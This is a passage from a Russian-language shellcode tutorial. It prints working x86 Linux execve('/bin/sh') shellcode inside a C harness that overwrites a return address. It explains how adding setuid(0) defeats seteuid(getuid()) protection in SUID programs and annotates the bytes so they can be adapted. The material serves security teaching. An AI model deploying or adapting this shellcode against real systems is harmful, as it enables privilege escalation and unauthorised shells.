Этот шелкод - вещь ограниченая (ну, это не так уж плохо для нескольких
байт!). Например, если наша тестирующая программа имеет вид:
/* shellcode5bis.c */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
мы устанавливаем действующий UID в значение истинного, как советовали в
предыдущей статье. В этом случае, оболочка работает без каких-либо особых
привилегий:
Однако инструкции seteuid(getuid()) не очень эффективная
защита. Нужно всего лишь вставить эквивалент вызова setuid(0); в
начало шеллкода, чтобы получить права, соответствующие начальному EUID
приложения с S-UID.
Как показано в последнем примере, возможно добавлять функции в шеллкод,
например, чтобы выйти из дериктории установленной функцией chroot()
или открыть удаленную оболочку, используя сокет.
Подобные изменения предполагают, что вы сможете адаптировать значения
нескольких байт в шеллкоде, в соответствии с их использованием:
eb XX
<subroutine_call>
XX = число байт, для достижения <subroutine_call>
<subroutine>:
5e
popl %esi
89 76 XX
movl %esi,XX(%esi)
XX = позиция первого элемента в массиве аргументов (т.е. адреса
команды). Это смещение равно числу символов в команде, включая '\0'.
31 c0
xorl %eax,%eax
89 46 XX
movb %eax,XX(%esi)
XX = позиция второго элемента в массиве, здесь, имеющего значение
NULL.
88 46 XX
movb %al,XX(%esi)
XX = позиция конца строки '\0'.
b0 0b
movb $0xb,%al
89 f3
movl %esi,%ebx
8d 4e XX
leal XX(%esi),%ecx
XX = смещение до первого элемента в массиве аргументов, помещается в
регистр %ecx.
8d 56 XX
leal XX(%esi),%edx
XX = смещение до второго элемента в массиве аргументов, помещается в
регистр%edx.
cd 80
int $0x80
31 db
xorl %ebx,%ebx
89 d8
movl %ebx,%eax
40
incl %eax
cd 80
int $0x80
<subroutine_call>:
e8 XX XX XX XX
call <subroutine>
эти 4 байта соответствуют количеству байт до <subroutine>
(отрицательное число, записанное в прямом порядке байтов)